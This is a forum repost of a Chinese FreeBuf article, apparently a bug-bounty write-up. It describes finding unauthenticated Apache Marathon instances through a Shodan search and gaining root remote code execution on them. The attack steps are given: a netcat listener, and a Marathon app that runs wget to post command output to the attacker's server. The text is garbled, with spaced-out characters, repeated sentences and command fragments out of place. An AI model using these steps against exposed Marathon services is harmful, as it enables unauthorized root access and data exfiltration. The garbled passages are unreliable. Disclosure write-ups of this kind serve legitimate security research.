搜索

[14660] 2019-10-03_通过Shodan发现目标应用Marathon服务的RCE漏洞

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2019-10-03_通过Shodan发现目标应用Marathon服务的RCE漏洞 通 过 S h o d a n 发 现 目 标 应 用 M a r a t h o n 服 务 的 R C E 漏 洞 c l o u d s   F r e e B u f   2 0 1 9 - 1 0 - 0 3 大 家 好 ， 今 天 要 和 大 家 分 享 的 是 ， 作 者 在 大 家 好 ， 今 天 要 和 大 家 分 享 的 是 ， 作 者 在 S h o d a n 搜 索 中 发 现 某 应 用 系 统 搜 索 中 发 现 某 应 用 系 统 M a r a t h o n 服 务 的 无 需 密 码 验 证 服 务 的 无 需 密 码 验 证 b u g ， 进 一 步 提 权 形 成 ， 进 一 步 提 权 形 成 R C E 漏 洞 。 作 为 一 名 开 发 工 程 师 ， 作 者 通 过 发 现 该 漏 洞 得 漏 洞 。 作 为 一 名 开 发 工 程 师 ， 作 者 通 过 发 现 该 漏 洞 得 到 的 经 验 是 ： 在 做 漏 洞 众 测 时 ， 具 备 一 定 的 开 发 背 景 经 验 非 常 重 要 ， 到 的 经 验 是 ： 在 做 漏 洞 众 测 时 ， 具 备 一 定 的 开 发 背 景 经 验 非 常 重 要 ， i f   y o u   k n o w   h o w   s o m e t h i n g   w o r k s ,   y o u   m i g h t   b e   a b l e   t o   b r e a k   i t ， 只 有 了 解 目 标 应 用 的 工 作 机 制 ， 才 能 有 效 地 发 现 ， 只 有 了 解 目 标 应 用 的 工 作 机 制 ， 才 能 有 效 地 发 现 它 存 在 的 问 题 。 最 终 作 者 凭 借 该 漏 洞 获 得 厂 商 上 万 美 金 的 奖 励 。 它 存 在 的 问 题 。 最 终 作 者 凭 借 该 漏 洞 获 得 厂 商 上 万 美 金 的 奖 励 。 漏 洞 概 要 漏 洞 概 要 某 应 用 系 统 的 容 器 编 排 平 台 M a r a t h o n 服 务 实 例 的 r o o t 权 限 R C E 漏 洞 。 M a r a t h o n 是 一 个 生 产 级 别 的 容 器 （ D o c k e r ） 编 排 平 台 ， 用 于 中 间 层 的 数 据 中 心 操 作 系 统 ( D C / O S ) 和 A p a c h e   M e s o s 。 A p a c h e M e s o s 是 一 个 分 布 式 系 统 的 管 理 软 件 ， 可 对 集 群 资 源 进 行 分 配 管 理 。 M a r a t h o n 算 是 一 个 基 于 M e s o s 的 私 有 P a a S ， 它 实 现 了 M e s o s 的 F r a m e w o r k ， M a r a t h o n 通 过 H A P r o x y 实 现 服 务 发 现 和 负 载 平 衡 ， 并 为 部 署 环 境 提 供 提 供 R E S T   A P I 服 务 、 授 权 和 S S L 、 配 置 约 束 等 功 能 。 因 此 ， 由 于 M a r a t h o n 是 A p a c h e   m e s o s 的 一 个 编 排 平 台 ， 这 意 味 着 用 户 可 以 根 据 自 己 的 需 要 安 排 要 执 行 的 任 务 ， 就 像 执 行 一 条 条 简 单 的 b a s h 命 令 ( 类 似 于 c r o n j o b s 这 样 的 命 令 ) 。 漏 洞 复 现 漏 洞 复 现 某 天 ， 当 我 在 S h o d a n 搜 索 东 西 时 ， 由 于 之 前 的 项 目 需 要 ， 我 必 须 要 自 己 架 设 一 些 M a r a t h o n / M e s o s / S p a r k 之 类 的 实 例 ， 所 以 我 就 自 然 想 到 了 通 过 S h o d a n 来 看 看 ， 有 哪 些 大 公 司 在 生 产 环 境 中 部 署 了 M a r a t h o n 服 务 ， 但 却 未 做 任 何 访 问 权 限 验 证 措 施 的 。 因 此 ， 我 就 按 照 “ s s l : R e d a c t e d ”   “ X - M a r a t h o n - L e a d e r ” 这 样 的 语 法 ， 在 S h o d a n 中 进 行 查 找 ， 最 后 ， 还 真 发 现 了 一 些 有 意 思 的 东 西 ， 如 以 下 两 个 搜 索 结 果 ： 它 们 是 访 问 响 应 状 态 码 为 H T T P / 1 . 1   2 0 0   O K 的 两 个 M a r a t h o n 服 务 实 例 ， 虽 然 不 能 百 分 百 肯 定 ， 但 这 种 2 0 0 响 应 码 的 M a r a t h o n 服 务 ， 9 0 % 的 可 能 说 明 无 需 任 何 密 码 验 证 即 可 访 问 。 于 是 ， 我 立 即 按 照 S h o d a n 中 的 显 示 结 果 ， 打 开 了 目 标 应 用 的 M a r a t h o n 服 务 链 接 ： h t t p s : / / X X X . X X X . X X X . X X X / u i / # / a p p s   ， 之 后 就 真 的 无 需 密 码 验 证 ， 立 马 就 进 入 了 M a r a t h o n 的 主 界 面 ， 如 下 ： 这 样 一 来 ， 我 就 可 以 在 我 自 己 的 服 务 器 上 来 部 署 监 听 上 述 M a r a t h o n 服 务 的 实 例 了 ， 通 过 此 种 方 法 ， 间 接 实 例 对 M a r a t h o n 服 务 的 的 远 程 代 码 执 行 （ R C E ） ， 方 法 如 下 ： 1 、 在 我 自 己 的 服 务 器 上 设 置 对 端 口 5 5 5 5 5 的 监 听 ： 2 、 用 C u r l 命 令 创 建 一 个   M a r a t h o n   服 务 运 行 实 例 ， 并 通 过 该 实 例 来 执 行 c m d 命 令 ， 其 中 的 a t t a c k e r _ s e r v e r 即 为 我 服 务 器 的 I P 地 址 。 具 体 命 令 如 下 ： # s e t   y o u r   o w n   s e r v e r   t o   w a i t   t h e   r e s p o n s e         r o o t @ h 0 s t : ~ #   n c   - l v v v   5 5 5 5 5
3 、 再 打 开 h t t p s : / / X X X . X X X . X X X . X X X / u i / # / a p p s   的 M a r a t h o n 服 务 管 理 界 面 ， 可 以 看 到 其 中 已 经 包 含 了 一 个 名 为 “ r c e - i d ” 的 实 例 ， 这 就 是 我 们 刚 刚 用 c u r l 命 令 创 建 的 。 在 我 的 自 架 服 务 器 中 ， 稍 等 一 会 ， 就 能 看 到 X X X . X X X . X X X . X X X 响 应 回 来 的 c m d 命 令 输 出 结 果 ： P S ： 测 试 过 后 ， 为 了 不 对 目 标 应 用 系 统 造 成 安 全 影 响 ， 我 及 时 从 M a r a t h o n 界 面 中 删 除 了 创 建 的 “ r c e - i d ” 实 例 。 整 个 过 程 中 ， 就 用 到 了 n e t c a t 、 c u r l 命 令 和 浏 览 器 ， 另 外 ， 当 然 主 要 还 是 S h o d a n 很 给 力 了 。 * 参 考 来 源 ： 参 考 来 源 ： o m e s p i n o ， ， c l o u d s 编 译 整 理 ， 转 载 请 注 明 来 自 编 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 #   c r e a t e   a   m a r a t h o n   a p p l i c a t i o n   t h a t   w i l l   b e   e x e c u t e   a n y   c o m m a n d   t h a t   y o u   w a n t   ( i n   t h i s   c a s e   i s   / u s r / b i n / w g e t   - - u s e r - a g e n t = m a r a t h o n - i d   - - p o s t - d a t a = ` i d ` )         #   r e p l a c e   a t t a c k e r _ s e r v e r  
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理